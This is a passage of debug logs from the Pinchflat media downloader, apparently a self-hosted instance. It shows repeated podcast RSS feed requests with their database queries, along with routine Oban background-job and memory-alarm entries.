s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:42:01.908 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=37.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:42:01.910 [debug] QUERY OK source="source_metadata" db=0.4ms idle=40.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:42:01.911 [debug] QUERY OK source="media_metadata" db=0.6ms idle=40.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:42:01.955 [info] Sent 200 in 52ms 21:42:30.791 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:00.124 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:43:00.794 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:30.797 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:00.125 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:44:00.800 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:30.802 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:00.127 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:45:00.804 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:30.807 [info] {"source":"oban","duration":1836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:59.725 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 21:46:00.129 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:46:00.810 [info] {"source":"oban","duration":2058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:30.812 [info] {"source":"oban","duration":1760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:38.916 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:46:38.917 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:46:38.919 [debug] QUERY OK source="sources" db=0.7ms queue=0.7ms idle=1048.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:46:38.921 [debug] QUERY OK source="media_items" db=1.3ms queue=0.2ms idle=1050.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:46:39.000 [debug] QUERY OK source="source_metadata" db=25.7ms queue=0.1ms idle=1105.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:46:39.002 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.2ms idle=1131.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:46:39.003 [info] Sent 200 in 86ms 21:46:46.258 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:46:46.302 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:46:46.328 [debug] QUERY OK source="sources" db=0.7ms queue=0.3ms idle=1457.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:46:46.330 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=1459.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:46:46.333 [debug] QUERY OK source="source_metadata" db=0.8ms idle=1463.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:46:46.334 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.1ms idle=1250.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:46:46.335 [info] Sent 200 in 77ms 21:47:00.131 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:47:00.815 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:30.818 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:00.133 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:48:00.820 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:30.823 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:00.135 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:49:00.825 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:30.827 [info] {"source":"oban","duration":1833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:00.151 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:50:00.830 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:30.833 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:00.152 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:51:00.836 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:30.839 [info] {"source":"oban","duration":1833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:37.007 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:51:37.008 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:51:37.009 [debug] QUERY OK source="sources" db=1.0ms idle=1135.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:51:37.011 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=1137.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:51:37.012 [debug] QUERY OK source="source_metadata" db=0.3ms idle=1139.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:51:37.014 [debug] QUERY OK source="media_metadata" db=0.9ms idle=1140.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:51:37.014 [info] Sent 200 in 7ms 21:51:59.770 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 21:52:00.154 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:52:00.842 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:07.770 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:52:07.770 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:52:07.836 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1963.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:52:07.839 [debug] QUERY OK source="media_items" db=1.5ms queue=0.3ms idle=1964.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:52:07.841 [debug] QUERY OK source="source_metadata" db=0.2ms idle=1966.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:52:07.842 [debug] QUERY OK source="media_metadata" db=0.6ms idle=968.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:52:07.842 [info] Sent 200 in 72ms 21:52:30.844 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:00.156 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:53:00.846 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:30.849 [info] {"source":"oban","duration":1721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:00.158 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:54:00.852 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:30.855 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:00.160 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:55:00.858 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:30.860 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:59.800 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 21:56:00.162 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:56:00.863 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:30.866 [info] {"source":"oban","duration":1864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:36.020 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:56:36.021 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:56:36.022 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=1139.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:56:36.025 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=449.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:56:36.028 [debug] QUERY OK source="source_metadata" db=0.8ms idle=144.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:56:36.029 [debug] QUERY OK source="media_metadata" db=0.7ms idle=145.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:56:36.029 [info] Sent 200 in 9ms 21:56:51.767 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 21:56:51.767 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 21:56:51.769 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=1885.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 21:56:51.770 [debug] QUERY OK source="media_items" db=1.3ms idle=1887.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:56:51.772 [debug] QUERY OK source="source_metadata" db=0.3ms idle=1889.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:56:51.773 [debug] QUERY OK source="media_metadata" db=0.3ms queue=0.2ms idle=1160.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 21:56:51.775 [info] Sent 200 in 8ms 21:57:00.163 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:57:00.868 [info] {"source":"oban","duration":1182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:30.870 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:00.165 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:58:00.873 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:30.876 [info] {"source":"oban","duration":1921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:00.168 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:59:00.879 [info] {"source":"oban","duration":1878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:30.881 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:00.169 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:00:00.885 [info] {"source":"oban","duration":2145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:30.887 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:00.171 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:01:00.891 [info] {"source":"oban","duration":3074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:28.343 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:01:28.343 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:01:28.345 [debug] QUERY OK source="sources" db=1.0ms idle=1462.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:01:28.348 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=1464.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:01:28.350 [debug] QUERY OK source="source_metadata" db=0.3ms idle=948.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:01:28.351 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.1ms idle=468.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:01:28.352 [info] Sent 200 in 8ms 22:01:30.896 [info] {"source":"oban","duration":1825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:38.894 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:01:38.894 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:01:38.896 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=1012.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:01:38.898 [debug] QUERY OK source="media_items" db=1.0ms queue=0.4ms idle=1014.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:01:38.899 [debug] QUERY OK source="source_metadata" db=0.2ms queue=0.1ms idle=1017.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:01:38.901 [debug] QUERY OK source="media_metadata" db=0.7ms queue=0.1ms idle=471.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:01:38.901 [info] Sent 200 in 7ms 22:01:59.841 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 22:02:00.173 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:02:00.898 [info] 